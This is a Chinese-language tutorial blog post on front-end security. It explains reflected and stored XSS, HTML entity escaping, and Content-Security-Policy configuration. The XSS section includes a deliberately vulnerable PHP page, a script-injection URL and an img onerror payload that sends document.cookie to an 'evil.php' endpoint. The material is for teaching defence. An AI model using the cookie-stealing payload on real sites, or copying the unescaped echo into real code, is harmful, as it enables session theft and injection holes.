回顧上一篇:前端網絡安全必修 1 SOP、CSRF 和 CORS
本文主要涉及內容為:
- 跨站腳本攻擊(Cross-site scripting,簡稱 XSS)
- 內容安全策略(Content-Security-Policy,簡稱 CSP)
因為 CSP 誕生的主要目的就是防禦 XSS 攻擊,就把 XSS 放在前面講吧~
XSS#
<html>
<body>
<? php
print "Not found: " . urldecode($_SERVER["REQUEST_URI"]);
?>
</body>
</html>
這是一個找不到頁面時的通用提示代碼,同時,也是一個極容易被 XSS 攻擊的例子,它很老實地把用戶發送的東西都直接塞到 html 裡。
當然,你在訪問 http://testsite.test/file_which_not_exist
的時候它會很正常地表現為:
Not found: /file_which_not_exist
但是如果想做點壞事,訪問 http://testsite.test/<script>alert("我要做壞事");</script>
,結果會是:
Not found: /
雖然看起來後面什麼都沒有,但是如果什麼防範措施都沒有的話,js 腳本已經順利運行了。
一般這種攻擊能做的壞事是盜取用戶 cookie,例如插入這樣一段代碼:
<img
src="xx"
onerror="post('../evil.php?cakemonster=' + escape(document.cookie))"
/>
上面這種利用錯誤信息和搜索結果的反射進行的 XSS,稱為反射型 XSS。
還有另一種 XSS 是儲存型 XSS。
儲存型也比較容易理解,攻擊者把惡意腳本提交到被害服務器,並成功儲存,所有人訪問特定頁面都會遭到攻擊。
舉個例,要放到富文本編輯器的內容如果不小心處理就很容易被儲存型 XSS 攻擊。
你可以在這裡對比一下 XSS 過濾前後的區別。
另外還有惡名昭彰的 SQL 注入,原理也是差不多。
html 安全注入#
html 會不安全,是因為 <
和 >
等符號在 html 裡都是有內涵的符號,如果像上面一樣直接把 <>
插到 html 中,處理器自然會認為那是一個標籤,而不是小於號和大於號。
對 html 字串來說,真正的小於號是 <
,大於是 >
,意思就是 less than 和 greater than,類似的還有空格
。
上面提到的轉義字符分為 &
+ 實體名稱 + ;
三個部分,你也可以使用實體編號而不是實體名稱。例如 #60
是 lt
的實體編號,<
和 <
渲染出來就是同一個東西。
那麼實體編號怎麼查呢?建議直接用 charCodeAt()
:
'網'.charCodeAt() // => 32593
网
就等於 “網” 字,如果你願意,甚至可以全都使用實體編號來代替文字 😂
以上是當你使用 php 等處理得到的 html 或是使用 JavaScript 的 innerHTML 賦值等 dom 操作時需要注意的內容(react 用戶可能知道,react 已經用屬性名 dangerouslySetInnerHTML
很明確告訴你這個操作很危險)。如果你是使用 innerText
插入的話你插入的是普通字串而不是作為 html 插入,所以放心使用 <>
吧,他們就是小於和大於的意思 😀
CSP#
CSP 就是一個白名單機制,只允許你的網頁裡讀取指定域名的資源,可用於防止 XSS 攻擊。
使用 CSP 的第一種方法是在 HTTP 頭定義 Content-Security-Policy:
Content-Security-Policy: default-src https://cdn.example.net https://cdn.example2.net; object-src 'none'
CSP 的值中,不同屬性以 ;
隔開,同一屬性的多個值以空格隔開。上面例子的意思就是默認允許讀取 https://cdn.example.net 和 https://cdn.example2.net 的資源,object-src 使用的相關資源無白名單,也就是完全不允許讀出。
如果使用了不符合要求的資源,瀏覽器會給予攔截,給出下面的提示:
Refused to execute inline script because it violates the following Content Security Policy directive
你也可以使用 meta 標籤代替 HTTP 頭:
<meta
http-equiv="Content-Security-Policy"
content="default-src https://cdn.example.net; child-src 'none'; object-src 'none'"
/>
Content-Security-Policy 的常用選項有這些:
- default-src 是 src 選項的默認值,但不能覆蓋以下值:base-uri、form-action、frame-ancestors、plugin-types、report-uri、sandbox
- base-uri 特別說一下
<base>
標籤是因為孤陋寡聞的我第一次見到。 指定用於一個文檔中包含的所有相對 URL 的根 URL,一個文件只能有一個<base>
標籤,用起來大概是這樣的:<base target="_top" href="http://www.example.com/">
。 - connect-src XHR、WebSockets 等連接使用的地址
- font-src 字體文件來源
- img-src 圖片地址
- media-src 音視頻地址
- object-src Flash 相關
- report-uri 出現報錯時提交到指定 uri,不能在
<meta>
標籤使用 - style-src 樣式文件
在資源列表中除了指定域名,你還可以使用下面四個關鍵詞,注意一定要加單引號:
- 'none' 不進行匹配
- 'self' 當前域名,不包含子域名
- 'unsafe-inline' 允許行內 JavaScript 與 CSS
- 'unsafe-eval' 允許類 eval 操作
當 CSP 正確設置,XSS 插入的行內代碼或外部 js 文件就會被攔截。當然這是最後一道防線了,前面提到的關鍵字過濾也是對付 XSS 的好方法。
要說的基本就這麼多,希望大家以後在使用 php、jsp 等後端語言構造 html 文檔時要認真思考有沒有 XSS 漏洞;另外,在前後端分離發展蓬勃的今天,XSS 可能出現在富文本編輯器中,也同時需要多加注意。
原文傳送門:https://ssshooter.com/2019-11-10-csp-n-xss/